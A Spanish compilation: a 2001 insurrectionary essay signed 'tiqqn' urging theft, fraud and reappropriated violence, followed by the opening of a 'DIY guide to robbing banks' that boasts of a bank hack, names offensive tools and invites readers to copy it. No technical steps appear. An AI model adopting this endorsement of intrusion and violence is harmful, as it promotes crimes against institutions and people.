FACA

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IVeinte años. Veinte años de contrarrevolución. De contrarrevolución preventiva. En Italia.

Y en otros lugares. Veinte años de un sueño erizado de alambradas, poblado de vigilantes. De un sueño de los cuerpos, impuesto por el toque de queda. Veinte años. El pasado no pasa. Porque la guerra continúa. Se ramifica. Se prolonga. En una reticulación mundial de dispositivos locales. En una calibración sin precedentes de las subjetividades. En una nueva paz superficial. Una paz armada bien hecha para cubrir el desarrollo de una imperceptible guerra civil.

Hace veinte años era el punk, el movimiento del 77, el área de la Autonomía, los indios metropolitanos y la guerrilla difusa. De repente surgía, como si viniera de alguna región subterránea de la civilización, todo un contramundo de subjetividades que ya no querían consumir, que ya no querían producir, que ya ni siquiera querían ser subjetividades. La revolución fue molecular, y la contrarrevolución no lo fue menos. se preparó ofensivamente, y luego durablemente, toda una máquina compleja para neutralizar lo que fuera portador de intensidad. Una máquina para desactivar cualquier cosa que pudiera explotar. Todos los dividuos con riesgos, los cuerpos indóciles, las agregaciones humanas autónomas. Luego fueron veinte años de estupidez, vulgaridad, aislamiento y desolación. ¿Cómo hacer?

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Levantarse. Levantar la cabeza. Por elección o por necesidad. Ya importa, en realidad, ya no. Para mirarnos a los ojos y decirnos que empezamos de nuevo. Que todo el mundo lo sepa, lo antes posible. Empezamos de nuevo. No más resistencia pasiva, no más exilio interior, no más conflicto por sustracción, no más supervivencia. Empezamos de nuevo. En veinte años, hemos tenido tiempo de ver. Lo hemos entendido. La demokracia para todos, la lucha «antiterrorista , las masacres de Estado, la reestructuración capitalista y su Gran Obra de depuración social, por selección, por precarización, por normalización, por “modernización”. Lo hemos visto, lo hemos entendido. Los métodos y los objetivos. El destino que se nos reserva. El que se nos niega. El estado de excepción. Las leyes que ponen a la policía, la administración y la magistratura por encima de las leyes. La judicialización, la psiquiatrización, la medicalización de todo lo que se sale del marco. De todo lo que se fuga. Lo hemos visto. Lo hemos entendido. Los métodos y los objetivos.

Cuando el poder establece en tiempo real su propia legitimidad, cuando su violencia se vuelve preventiva y su derecho es un “derecho de injerencia”, entonces ya no es útil tener razón. Tener razón en su contra. Hay que ser más fuerte, o más astuto. Por eso también estamos empezando de nuevo.

Empezar de nuevo nunca es empezar algo de nuevo. Tampoco es retomar un asunto donde lo dejamos. Lo que empezamos de nuevo es siempre algo más. Siempre es inaudito. Porque no es el pasado lo que nos impulsa, sino precisamente lo que en él no ha sucedido.

Y porque es mejor que nosotros mismos, entonces, empecemos de nuevo. Empezar de nuevo significa: salir de la suspensión. Restablecer el contacto entre nuestros

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devenires.

Partir, de nuevo, desde donde estamos, ahora.

Por ejemplo, hay algunos golpes que ya no se nos darán. El golpe de la “sociedad”. Para ser transformada. Para ser destruida Por ser mejorada. El golpe del pacto social. Que algunos quebrarían mientras que otros pueden pretender “restaurarlo”.

Estos golpes, ya no se nos darán. Hay que ser un elemento militante de la pequeña burguesía planetaria, un verdadero ciudadano, para no ver que ya no existe, la sociedad.

Que ha implosionado. Que es sólo un argumento para el terror de los que dicen que la re/ presentan.

Ella que se ha ausentado.

Todo lo que es social se ha vuelto extraño para nosotros. Nos consideramos absolutamente libres de toda obligación, de toda prerrogativa, de toda pertenencia social.

“La sociedad” es el nombre que a menudo se da a lo Irreparable, entre aquellos que también quisieran convertirlo en lo Inasumible.

Quien rechace ese señuelo tendrá que dar un paso al margen. Operar un ligero desplazamiento con respecto a la lógica común del Imperio y su contestación,

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la de la movilización, con respecto a su temporalidad común, la de la emergencia.

Empezar de nuevo significa: habitar esta brecha. Asumir la esquizofrenia capitalista en el sentido de una creciente facultad de desubjetivación. Desertar pero manteniendo las armas. Fugarse imperceptiblemente.

Empezar de nuevo significa: sumarse a la secesión social, a la opacidad, entrar en desmovilización, arrebatando hoy a tal o cual red imperial de producción-consumo los medios de vivir y luchar para, en el momento oportuno, socavarla.

Hablamos de una nueva guerra, una nueva guerra de partisanos. Sin frente ni uniforme, sin ejército ni batalla decisiva.

Una guerra en la que los focos se despliegan lejos de los flujos mercantiles, aunque estén conectados a ellos.

Hablamos de una guerra totalmente latente. Que tiene el tiempo.

De una guerra de posición.

Que se está librando donde estamos. En nombre de nadie.

En nombre de nuestra propia existencia, que no tiene nombre.

Operar ese ligero desplazamiento. Ya no temer a nuestro tiempo.

“No temer a nuestro tiempo es una cuestión de espacio”.

En la okupa. En la orgía. En el motín. En el tren o en el pueblo okupado. Buscando entre desconocidos una free party que nadie puede encontrar. Experimento ese ligero desplazamiento. Experimento mi desubjetivación. Devengo una singularidad cualquiera. Un juego se insinúa entre mi presencia y todo el aparato de cualidades que se me suelen atribuir.

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A los ojos de un ser que, estando presente, quiere estimarme por lo que soy, saboreo la decepción, su decepción al ver que me he vuelto tan común, tan perfectamente accesible. En los gestos de otro, es una complicidad inesperada. Todo lo que me aísla como sujeto, como cuerpo con una configuración pública de atributos, siento que se derrite. Los cuerpos se desmoronan en sus límites. En sus límites, se indistinguen. Sector tras sector, lo cualquiera arruina la equivalencia. Y alcanzo una desnudez nueva, una desnudez impropia, vestida por así decirlo de amor.

¿Escapa alguna vez uno solo de la prisión del Yo?

En la okupa. En la orgía. En el motín. En el tren o en el pueblo okupado. Nos encontramos de nuevo.

Nos encontramos de nuevo como singularidades cualesquiera. Es decir, no sobre la base de una pertenencia común, sino sobre la base de una presencia común.

Ésa es

nuestra necesidad de comunismo. La necesidad de espacios nocturnos, donde podamos encontrarnos

más allá de nuestros predicados.

Más allá de la tiranía del reconocimiento. Que impone el re/conocimiento como distancia final entre los cuerpos. Como separación ineludible.

Todo lo que uno —el prometido, la familia, el círculo, la empresa, el Estado, la opinión— me reconoce, así es como uno piensa que me sujeta. Con el recuerdo constante de lo que soy, de mis cualidades, se quisiera abstraerme de cada situación. se quisiera extorsionarme en cada circunstancia una fidelidad a mí mismo que es una fidelidad a mis predicados.

se espera de mí que me comporte como hombre, empleado, desempleado, madre, militante o filósofo.

se quiere contener dentro de los bordes de una identidad el impredecible curso de mis devenires.

se me quiere convertir a la religión de una coherencia que se ha elegido para mí.

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Cuanto más soy reconocida, más se obstaculizan mis gestos, se obstaculizan internamente.

Aquí estoy atrapada en la malla ultraapretada del nuevo poder. En las redes impalpables de la nueva policía: la policía imperial de las cualidades.

Hay toda una red de dispositivos donde me hundo para “integrarme”, y que me incorporan esas cualidades.

Todo un pequeño sistema de registro, identificación y vigilancia mutuos. Toda una prescripción difusa de ausencia.

Todo un aparato de control comporta/mental, que apunta al panoptismo, a la privatización transparencial, a la atomización. Y en el que estoy forcejeando.

Necesito devenir anónima. Para estar presente. Cuanto más anónima soy, más presente estoy.

Necesito zonas de indistinción para acceder a lo Común. Para no reconocerme más en mi nombre. Para ya no escuchar en mi nombre más que la voz que lo llama.

Para que adquiera consistencia el cómo de los seres, no lo que son, sino cómo son lo que son. Su forma-de-vida.

Necesito zonas de opacidad donde los atributos, incluso criminales, incluso brillantes, ya no separen los cuerpos.

Devenir cualquiera. Devenir una singularidad cualquiera no está dado. Siempre es posible, pero nunca dado. Hay una política de la singularidad cualquiera. Que consiste en arrebatar al Imperio las condiciones y los medios, incluso intersticiales, para experimentarse a sí mismo como tal. Es una política, porque presupone una capacidad de enfrentamiento, y porque una nueva agregación humana le corresponde.

Política de la singularidad cualquiera: despejar los espacios donde ningún acto es ya

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asignable a un cuerpo dado.

Donde los cuerpos vuelven a encontrar la aptitud para el gesto que la sabia distribución de los dispositivos metropolitanos —computadoras, coches, escuelas, cámaras, teléfonos portátiles, salas de deporte, hospitales, televisiones, cines, etc.— les había quitado. Reconociéndolos.

Inmovilizándolos.

Haciendo que giren en el vacío.

Haciendo que la cabeza exista separada del cuerpo.

Política de la singularidad cualquiera. Un devenir-cualquiera es más revolucionario que cualquier ser-cualquiera. Liberar espacios nos libera cien veces más que cualquier «espacio liberado . Más que poner un poder en acción, gozo de la puesta en circulación de mi potencia. La política de la singularidad cualquiera radica en la ofensiva. En las circunstancias, los momentos y los lugares en que serán arrancados las circunstancias, los momentos y los lugares de tal anonimato, de una pausa momentánea en un estado de simplicidad, la oportunidad de extraer de todas nuestras formas la pura adecuación a la presencia, la oportunidad de estar, por fin, ahí.

¿cómo hacer? No ¿Qué hacer? ¿Cómo hacer? La cuestión de los medios. No la de las metas, de los objetivos, de lo que hay que hacer, estratégicamente, en lo absoluto. La cuestión de lo que podemos hacer, tácticamente, en situación, y de la adquisición de esa potencia.

¿Cómo hacer? ¿Cómo desertar? ¿Cómo funciona? ¿Cómo conjugar mis heridas y el comunismo? ¿Cómo permanecer en guerra sin perder la ternura? La cuestión es técnica. No un problema. Los problemas son rentables. Alimentan a los expertos. Una cuestión.

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II

Técnica. Que se redobla como cuestión de las técnicas de transmisión de esas técnicas.

¿Cómo hacer? El resultado siempre contradice la meta. Porque plantear una meta sigue siendo un medio, otro medio.

¿Qué hacer? Babeuf, Chernishevski, Lenin. La virilidad clásica requiere un analgésico, un espejismo, algo. Un medio para ignorarse un poco más. En cuanto presencia. En cuanto forma-de-vida. En cuanto ser en situación, con inclinaciones. Inclinaciones determinadas.

¿Qué hacer? El voluntarismo como nihilismo definitivo. Como nihilismo propio de la virilidad clásica.

¿Qué hacer? La respuesta es simple: someterse una vez más a la lógica de la movilización, a la temporalidad de la emergencia. Con el pretexto de la rebelión. Plantear fines, palabras. Tender hacia su cumplimiento. Hacia el cumplimiento de las palabras. Mientras tanto, dejar la existencia para más tarde. Ponerse entre paréntesis. Alojarse en la excepción de uno mismo. Lejos del tiempo. Que pasa. Que no pasa. Que se para. Hasta… Hasta la próxima. Meta.

¿Qué hacer? En otras palabras: vivir es inútil. Todo lo que no has vivido, la Historia te lo devolverá.

¿Qué hacer? Es el olvido de sí lo que se proyecta en el mundo. Como olvido del mundo.

¿Cómo hacer? La cuestión del cómo. No de aquello que un ser, un gesto o una cosa es, sino de cómo es lo que es. De cómo se relacionan sus predicados con él. Y él con ellos.

Dejar ser. Dejar ser la brecha entre el sujeto y sus predicados. El abismo de la presencia. Un hombre no es “un hombre”. “Caballo blanco” no es “caballo”. La cuestión del cómo. La atención al cómo. La atención a la manera en que una mujer es, y no es, una mujer — se necesitan dispositivos para hacer de un ser de sexo femenino “una mujer”, o de un hombre de piel negra “un negro”. La atención a la diferencia ética. Al elemento ético. A las irreductibilidades que lo atraviesan. Lo que sucede entre los cuerpos en una okupación es más interesante que la okupación misma.

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¿Cómo hacer? significa que el enfrentamiento militar con el Imperio debe subordinarse a la intensificación de las relaciones dentro de nuestro partido. Que lo político es sólo un cierto grado de intensidad dentro del elemento ético. Que la guerra revolucionaria ya no debe confundirse con su representación: el momento bruto del combate.

La cuestión del cómo. Estar atento al tener-lugar de las cosas, de los seres. A su acontecimiento. A la obstinada y silenciosa prominencia de su temporalidad propia bajo el aplastamiento planetario de todas las temporalidades por la de la emergencia. El ¿Qué hacer? como ignorancia programática de esto. Como fórmula inaugural del desamor ajetreado.

El ¿Qué hacer? regresa. Desde hace algunos años. Desde mediados de la década de 1990, más que desde Seattle. Un renacimiento de la crítica pretende enfrentar al Imperio con los eslóganes, las recetas de la década de 1960. Sólo que esta vez están fingiendo. Están fingiendo la inocencia, la indignación, la buena conciencia y la necesidad de sociedad. Vuelven a circular toda la vieja gama de afectos socialdemócratas. De afectos cristianos.

Y de nuevo, hay las manifestaciones. Las manifestaciones mata-deseos. Donde no pasa nada. Y que ahora sólo manifiestan la ausencia colectiva. Por siempre.

Para los nostálgicos de Woodstock, la ganja, mayo de 1968 y la militancia, están las contracumbres. se ha reconstituido el decorado, menos lo posible. Eso es lo que el ¿Qué hacer? ordena hoy: ir al otro lado del mundo para protestar contra la mercancía global sólo para volver, tras un gran baño de unanimidad y separación mediatizada, a someterse a la mercancía local. A la vuelta, está la foto del periódico… ¡Todos juntos solos!… Érase una vez…

¡Vaya juventud!…

Qué pena para los pocos cuerpos vivos perdidos allí, buscando en vano un espacio para su deseo.

Regresan un poco más fastidiados. Un poco más vaciados. Reducidos. De contracumbre en contracumbre, eventualmente lo entenderán. O no.

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No se protesta contra el Imperio por su gestión. No se critica al Imperio. Nos oponemos a sus fuerzas.

Ahí donde estamos. Decir lo que se piensa sobre esta o aquella alternativa, ir a donde se nos llame, todo esto ya no tiene sentido. No hay proyecto global alternativo al proyecto global del Imperio. Porque no hay proyecto global del Imperio. Hay una gestión imperial. Toda gestión es mala. Los que reclaman otra sociedad harían mejor empezando por ver que no la hay. Y entonces tal vez dejarían de ser aprendices de gestor.

Ciudadanos. Ciudadanos indignados.

El orden global no puede ser tomado como el enemigo. Directamente. Porque el orden global no tiene lugar. Al contrario. Es más bien el orden de los no-lugares. Su perfección no es ser global, sino ser globalmente local. El orden global es la conjuración de cualquier acontecimiento porque es la ocupación consumada, autoritaria, de lo local.

Uno se opone al orden global sólo localmente. Por la extensión de las zonas grises en los mapas del Imperio. Por su puesta en contacto progresiva. Subterránea.

La política que viene. Política de la insurrección local contra la gestión global. De la presencia recobrada sobre la ausencia a sí mismo. Sobre la extrañeza ciudadana, imperial. Recobrada mediante el robo, el fraude, el crimen, la amistad, la enemistad, la conspiración. Mediante la elaboración de modos de vida que también son modos de lucha.

Política del tener-lugar.

El Imperio no tiene lugar. Administra la ausencia haciendo planear por todas partes la amenaza palpable de la intervención policíaca. Quien busca en el Imperio a un adversario contra el que medirse encontrará la aniquilación preventiva. Ser percibido ahora es ser vencido.

Aprender a devenir indiscernibles. A confundirnos. Recuperar el gusto por el anonimato, por la promiscuidad.

Renunciar a la distinción.

Para frustrar la represión:

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proporcionar las condiciones más favorables para el enfrentamiento. Devenir astutos. Devenir despiadados. Y por eso, devenir cualesquiera.

¿Cómo hacer? es la cuestión de los niños perdidos. Aquellos a quienes no se ha dicho. Quienes tienen los gestos torpes. A quienes nada les ha sido dado. Cuya creaturalidad, errancia, no deja de traicionarse.

La revuelta que viene es la revuelta de los niños perdidos.

El hilo de la transmisión histórica se ha roto. Incluso la tradición revolucionaria nos deja huérfanos. El movimiento obrero especialmente. El movimiento obrero que se ha convertido en instrumento de una integración superior en el Proceso. En el nuevo Proceso, cibernético, de valorización social.

En 1978, fue en su nombre que el PCI, el “partido con las manos limpias”, lanzó la caza de la Autonomía.

En nombre de su concepción clasista del proletariado, de su mística de la sociedad, del respeto al trabajo, la utilidad y la decencia.

En nombre de la defensa de los “logros democráticos” y el Estado de derecho.

El movimiento obrero que habrá sobrevivido en el operaísmo. Única crítica existente del capitalismo desde el punto de vista de la Movilización Total.

Doctrina temible y paradójica, que habrá salvado al objetivismo marxista al hablar sólo de “subjetividad”. Que habrá llevado a un refinamiento sin precedentes la denegación del cómo.

La reabsorción del gesto en su producto.

La urticaria del futuro anterior.

De lo que todo habrá sido.

La crítica se ha vuelto vana. La crítica se ha vuelto vana porque equivale a una ausencia. En cuanto al orden dominante, todo el mundo sabe a qué atenerse. Ya no necesitamos una teoría crítica. Ya no necesitamos ningunos profesores. La crítica gira a favor de la dominación, a partir de ahora. Incluso la crítica de la dominación. Reproduce la ausencia. Nos habla desde donde no estamos. Nos impulsa a otra parte. Nos consume. Es cobarde. Y se mantiene a salvo y segura cuando nos envía a la matanza. En secreto, enamorada de su objeto, sigue mintiéndonos.

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De ahí los cortos idilios entre proletarios e intelectuales comprometidos. Esos matrimonios de la razón donde uno no tiene la misma idea de placer o libertad.

Más que nuevas críticas, son nuevas cartografías lo que necesitamos.

Cartografías no del Imperio, sino de las líneas de fuga fuera de él. ¿Cómo hacer? Necesitamos mapas. No mapas de lo que está fuera del mapa. Sino cartas de navegación. Cartas náuticas. Herramientas de orientación. Que no intentan decir, representar, lo que hay dentro de los diferentes archipiélagos de la deserción, sino que nos indican cómo llegar a ellos.

Portulanos.

es martes 17 de septiembre de 1996, poco antes del amanecer. El ROS (Agrupación Operativa Especial) coordina en toda la península la detención de 70 anarquistas italianos.

El objetivo es poner fin a 15 años de investigaciones infructuosas de anarquistas insurreccionalistas.

La técnica es bien conocida: fabricar un “arrepentido”, hacer que denuncie la existencia de una vasta organización subversiva jerarquizada.

Luego, sobre la base de esta creación quimérica, acusar a todos aquellos a quienes se quiere neutralizar de formar parte de ella.

Una vez más, secar el mar para atrapar a los peces. Incluso cuando es sólo un pequeño estanque. Y unos cuantos gobios.

Una “nota informativa de servicio” se escapó del ROS en relación a este caso.

Expone su estrategia.

Basada en los principios del general Dalla Chiesa, el ROS es el tipo mismo de servicio imperial de contrainsurgencia.

Funciona con la población.

Dondequiera que haya ocurrido una intensidad, dondequiera que algo haya pasado, es

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III

el french doctor de la situación. El que, bajo el disfraz de profilaxis, coloca los cordones sanitarios para aislar el contagio.

Lo que teme, lo dice. En este documento, lo escribe. Lo que teme es “el pantano del anonimato político”. El Imperio tiene miedo. El Imperio teme que devengamos cualesquiera. A un medio delimitado, a una organización combativa. No les teme. Pero una constelación expansiva de okupas, granjas autogestionadas, viviendas colectivas, concentraciones fine a se stesso, radios, técnicas e ideas. El conjunto conectado por una intensa circulación de los cuerpos y los afectos entre los cuerpos. Ése es otro asunto.

La conspiración de los cuerpos. No de las mentes críticoa, sino de las corporeidades críticas. Eso es lo que el Imperio teme. Eso es lo que lentamente sucede, con el incremento de los flujos de la defección social.

Hay una opacidad inherente al contacto de los cuerpos. Y eso no es compatible con el reino imperial de una luz que ahora ilumina las cosas sólo para desintegrarlas. Las Zonas de Opacidad Ofensiva no están por ser creadas.

Ya están ahí, en todas las relaciones en que se produce una verdadera puesta en juego de los cuerpos. Lo que se necesita es asumir que formamos parte de esa opacidad. Y dotarse de los medios para extenderla, para defenderla. Dondequiera que logremos desarticular los dispositivos imperiales, arruinar todo el trabajo cotidiano del Biopoder y el Espectáculo para extirpar de la población una fracción de ciudadanos. Para aislar nuevos untorelli. En esta indistinción reconquistada se forma espontáneamente un tejido ético autónomo, un plano de consistencia secesionista.

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Los cuerpos se agregan. Recuperan el aliento. Conspiran. No importa que tales zonas estén condenadas al aplastamiento militar. Lo importante es en cada caso proporcionar una ruta de escape lo suficientemente segura. Para reagregarse en otro lugar. Más tarde.

Subyacente al problema del ¿Qué hacer? estaba el mito de la huelga general. Lo que responde a la cuestión ¿Cómo hacer? es la práctica de la huelga humana.

La huelga general implicaba que había una explotación limitada en el tiempo y en el espacio, una alienación parcelaria, debida a un enemigo reconocible, y por lo tanto vencible.

La huelga humana responde a una época en la que los límites entre el trabajo y la vida se están volviendo borrosos.

En la que consumir y sobrevivir, producir “textos subversivos” y evitar los efectos más nocivos de la civilización industrial, practicar deportes, hacer el amor, ser padre o tomar Prozac. Todo es trabajo.

Porque el Imperio gestiona, digiere, absorbe y reintegra todo lo que vive.

Incluso “lo que soy”, la subjetivación que no reniego hic et nunc, todo es productivo.

El Imperio ha puesto todo a trabajar.

Idealmente, mi perfil profesional coincidirá con mi propia cara. Incluso si no sonríe.

Las muecas del rebelde se venden muy bien, después de todo.

Imperio, es decir, los medios de producción se convirtieron en medios de control al mismo tiempo que lo contrario se verificaba.

Imperio significa que a partir de ahora el momento político domina el momento económico.

Y contra esto, la huelga general ya no puede hacer nada. Lo que hay que oponer al Imperio es la huelga humana. Que nunca ataca las relaciones de producción sin atacar al mismo tiempo las relaciones afectivas que las sustentan. Que socava la inconfesable economía libidinal,

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que restituye el elemento ético —el cómo— reprimido en cada contacto entre los cuerpos neutralizados.

La huelga humana es la huelga que, donde se esperaría tal o cual reacción predecible, tal o cual tono contrito o indignado, prefiere no.

Evade el dispositivo. Lo satura, o lo hace estallar. Se recupera, prefiriendo otra cosa.

Otra cosa que no esté circunscrita dentro de los posibles autorizados por el dispositivo. En la ventanilla de tal o cual servicio social, en las cajas de tal o cual supermercado, en una conversación educada, en una intervención de la policía, dependiendo de la relación de fuerzas, la huelga humana hace que el espacio entre los cuerpos adquiera consistencia, pulveriza el double bind en que están capturados, los empuja a la presencia.

Hay todo un ludismo por inventar, un ludismo de los engranajes humanos que hacen girar el Capital.

En Italia, el feminismo radical fue una forma embrionaria de la huelga humana.

¡No más madres, esposas e hijas, destruyamos las familias! ” fue una invitación al gesto de romper los encadenamientos establecidos, de liberar los posibles comprimidos.

Fue un atentado contra los comercios afectivos asquerosos, contra la prostitución ordinaria. Fue un llamamiento a la superación de la pareja, como unidad elemental de gestión de la alienación.

Llamamiento a una complicidad, por lo tanto. Práctica insostenible sin circulación, sin contagio. La huelga de las mujeres llamaba implícitamente a la de los hombres y los niños, llamaba a que se vaciaran las fábricas, las escuelas, las oficinas y las prisiones, a que se reinventaran para cada situación otra manera de ser, otro cómo.

La Italia de la década de 1970 fue una gigantesca zona de huelga humana. Las autorreducciones, los atracos, los barrios okupados, las manifestaciones armadas, las radios libres, los innumerables casos de “síndrome de Estocolmo”,

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incluso las famosas cartas de Moro detenido, hacia el final, fueron prácticas de huelga humana. Los estalinistas hablaron entonces de “irracionalidad difusa”, y eso lo dice todo.

También hay autores cuya obra siempre está en huelga humana. En Kafka, en Walser; o en Michaux, por ejemplo.

Adquirir colectivamente esta facultad de sacudir las familiaridades. Este arte de frecuentar dentro de uno mismo al huésped más inquietante.

En la guerra actual, en la que el reformismo de emergencia del Capital debe tomar los hábitos del revolucionario para hacerse oír, en la que los combates más demókratas, los de las contracumbres, recurren a la acción directa, un papel nos está reservado. El de mártires del orden demókrata, que golpea preventivamente a cualquier cuerpo que pueda golpear. Debería dejarme inmovilizar frente a una computadora mientras las centrales nucleares explotan, mientras se juega con mis hormonas o me envenena. Debería estar cantando la retórica de la víctima. Porque, como todo el mundo sabe, todo el mundo es una víctima, incluso los propios opresores. Y saborear que una discreta circulación de masoquismo reencante la situación.

La huelga humana, hoy en día, consiste en rechazar desempeñar el papel de víctima. Atacarlo.

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Reapropiarse la violencia. Arrogarse la impunidad. Hacer entender a los ciudadanos atónitos que si no van a la guerra están en ella de todos modos. Que cuando se nos dice que es eso o morir, siempre es realmente eso y morir.

Así, de huelga humana en huelga humana, propagar la insurrección, donde ya sólo hay, donde somos todos, singularidades cualesquiera.

tiqqn

2001

tiqqn

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¡hack back!

¡hack back!

Soy un niño salvaje

Inocente, libre, silvestre

Tengo todas las edades

Mis abuelos viven en mí

Soy hermano de las nubes

Y sólo sé compartir

Sé que todo es de todos que todo está vivo en mí

Mi corazón es una estrella

Soy hijo de la tierra

Viajo a bordo de mi espíritu Camino a la eternidad

Ésta es mi palabra sencilla que busca tocar el corazón de la gente simple y humilde, pero también digna y rebelde. Ésta es mi palabra sencilla para contar de mis hackeos, y para invitar a otras personas a que hackeen con alegre rebeldía.

Hackeé un banco. Lo hice para dar una inyección de liquidez, pero esta vez desde abajo y a la gente simple y humilde que resiste y se rebela contra las injusticias en todo el mundo. En otras palabras: robé un banco y regalé el dinero. Pero no fui yo sola quien lo hizo. El movimiento del software libre, la comunidad del powershell ofensivo, el proyecto metasploit y la comunidad hacker en general son las que posibilitaron este hackeo. La comunidad

1 _ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_) Una guía DIY para robar bancos ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `’
el Subcowmandante Marcos
Por

de exploit.in hizo posible convertir la intrusión en las computadoras de un banco en efectivo y bitcoin. Los proyectos Tor, Qubes y Whonix, junto a las y los criptógrafos y activistas que defienden la privacidad y el anonimato, son mis nahuales, es decir, mis protectores.[1] Me acompañan cada noche y hacen posible que siga en libertad.

No hice nada complicado. Solamente vi la injusticia en este mundo, sentí amor por todos los seres, y expresé ese amor de la mejor forma que pude, mediante las herramientas que sé usar. No me mueve el odio a los bancos, ni a los ricos, sino un amor por la vida, y el deseo de un mundo donde cada quien pueda realizar su potencial y vivir una vida plena. Quisiera explicar un poco cómo veo el mundo, para que puedan hacerse una idea de cómo es que llegué a sentirme y actuar así. Y espero también que esta guía sea una receta que puedan seguir, combinando los mismos ingredientes para hornear el mismo bizcocho. Quién sabe, por ahí estas herramientas tan potentes acaban sirviéndoles también a ustedes para expresar el amor que sienten.

Todos somos niños salvajes inocentes, libres, silvestres

Todos somos hermanos de los árboles hijos de la tierra

Sólo tenemos que poner en nuestro corazón una estrella encendida

(canción de Alberto Kuselman y Chamalú)

La policía va a invertir un chingo de recursos en investigarme. Creen que el sistema funciona, o al menos que funcionará una vez que atrapen a todos los “chicos malos”. No soy más que el producto de un sistema que no funciona. Mientras existan la injusticia, la explotación, la alienación, la violencia y la destrucción ecológica, vendrán muchas más como yo: una serie interminable de personas que rechazarán por ilegítimo el mal sistema responsable de este sufrimiento. Ese sistema mal hecho no se va a componer arrestándome. Soy solamente una de las millones de semillas que Tupac plantó hace 238 años en La Paz,[2] y espero que mis acciones y escritos rieguen la semilla de la rebelión en sus corazones.

2

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Para hacernos escuchar, a lxs hackers a veces nos toca taparnos la cara, porque no nos interesa que vean nuestro rostro sino que entiendan nuestra palabra. La máscara puede ser de Guy Fawkes, de Salvador Dalí, de Fsociety, o en algún caso la marioneta de un sapo con cresta. Por afinidad, esta vez fui a desenterrar a un difunto para prestarme su pasamontañas. Creo entonces que debería aclarar que el Sup Marcos es inocente de todo lo que aquí se cuenta porque, además de estar muerto, no le consulté. Espero que su fantasma, si se entera desde alguna hamaca chiapaneca, sepa encontrar la bondad para, como dicen allá, “desestimar este deep fake” con el mismo gesto con que se aleja un insecto inoportuno - que bien podría ser un escarabajo.

Aún así con el pasamontañas y el cambio de nombre, muchos de los que apoyan mis acciones quizás van a prestar demasiada atención a mi persona. Con su propia autonomía hecha trizas por una vida entera de dominación, estarán buscando un líder a seguir, o una heroína que les salve. Pero detrás del pasamontañas sólo soy una niña. Todos somos niños salvajes. Nós só temos que colocar uma estrela em chamas em nossos corações.

1 - Por qué expropiar

El capitalismo es un sistema en el que una minoría se ha venido a apropiar de una vasta mayoría de los recursos del mundo a través de la guerra, el hurto y la explotación. Al arrebatarnos los comunes,[3] forzaron a los de abajo a estar bajo el control de esa minoría que todo lo posee. Es un sistema fundamentalmente incompatible con la libertad, la igualdad, la democracia y el Suma Qamaña (Buen Vivir). Puede sonar ridículo para las que hemos crecido en una maquinaria propagandística que nos enseñó que capitalismo es libertad, pero en verdad esto que digo no es una idea nueva ni controvertida.[4]

Los fundadores de los Estados Unidos de América sabían que tenían que elegir entre crear una sociedad capitalista, o una libre y democrática. Madison reconocía que “el hombre que posee riqueza, el que se acuesta en su sofá o

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Para que nos vieran, nos tapamos el rostro >

rueda en su carruaje, no puede juzgar los deseos o sentimientos del jornalero”. Pero para protegerse frente al “espíritu de equiparación” de los jornaleros sin tierra, le pareció que solamente los terratenientes debían votar, y que el gobierno tenía que servir para “proteger a la minoría opulenta frente a la gran mayoría”. John Jay fue más al grano y dijo: “Aquellos que son dueños del país deberían gobernarlo”. ____________________________________________________

/ No existe eso que llaman capitalismo verde. \

| Hagamos al capitalismo historia antes de que nos | \ convierta en historia. /

Evgeny, el gran elefante ignorado,

no entiende por qué todos fingen no

verle en los paneles sobre cambio

climático, así que aquí le doy

chance a decir sus líneas.

De la misma forma que Bell Hooks[5] sostiene que el rechazo a la cultura patriarcal de dominación es un acto en defensa del propio interés del varón (ya que emocionalmente les mutila y evita que sientan amor y conexión de forma plena), creo que la cultura de dominación del capitalismo tiene un efecto similar sobre los ricos, y que podrían tener vidas más plenas y satisfactorias si rechazaran el sistema de clases del que creen que se benefician. Para muchos, el privilegio de clase equivale a una infancia de negligencia emocional, seguida de una vida de interacciones sociales superficiales y trabajo sin sentido. Puede que en el fondo sepan que sólo pueden conectar de forma genuina con las personas cuando trabajan con ellas como sus iguales, y no cuando las ponen a su servicio. Puede que sepan que compartir su riqueza material es lo mejor que pueden hacer con ella. Quizás sepan también que las experiencias significativas, las conexiones y las relaciones que cuentan no son las que provienen de las interacciones mercantiles, sino precisamente de rechazar la lógica del mercado y dar sin esperar nada a cambio. Tal vez sepan que todo lo que necesitan para escapar de su prisión y vivir de verdad es dejarse llevar, ceder el control, y dar un salto de fe. Pero a la mayoría les falta valentía.

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Entonces sería ingenuo por nuestra parte dirigir nuestros esfuerzos a tratar de producir alguna clase de despertar espiritual en los ricos.[6] Como dice Assata Shakur: “Nadie en el mundo, nadie en la historia, ha conseguido nunca su libertad apelando al sentido moral de sus opresores”. En realidad, cuando los ricos reparten su dinero, casi siempre lo hacen de un modo que refuerza el sistema que para empezar les permitió amasar sus enormes e ilegítimas riquezas.[7] Y es poco probable que el cambio venga a través de un proceso político; como dice Lucy Parsons: “No nos dejemos nunca engañar con que los ricos nos vayan a dejar votar para arrebatarles sus riquezas”. Colin Jenkins justifica la expropiación con estas palabras:[8]

No nos equivoquemos, la expropiación no es robo. No es la confiscación de dinero ganado “con el sudor de la frente”. No es el robo de propiedad privada. Es, más bien, la recuperación de enormes cantidades de tierra y riqueza que han sido forjadas con recursos naturales robados, esclavitud humana, fuerza de trabajo forzada y amasada en cientos de años por una pequeña minoría. Esta riqueza... es ilegítima, tanto a efectos morales como en tanto a los mecanismos de explotación que se han empleado para crearla.

Para Colin, el primer paso es que “tenemos que liberarnos de nuestras ataduras mentales (al creer que la riqueza y la propiedad privada han sido ganadas por quienes las monopolizan; y que, por tanto, deberían ser algo a respetar, reverenciar, e incluso algo a perseguir), abrir nuestras mentes, estudiar y aprender de la historia, y reconocer juntos esta ilegitimidad”. Acá les dejo algunos libros que me han ayudado con esto.[9][10][11][12][13]

Según Barack Obama, la desigualdad económica es “el desafío que define a nuestro tiempo”. El hacking informático es una herramienta poderosa para combatir la desigualdad económica. El antiguo director de la NSA, Keith Alexander, concuerda y dice que el hacking es responsable de “la mayor transferencia de riqueza de la historia”.

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/ La historia es nuestra \ \ y la hacen lxs hackers!

2 - Introducción

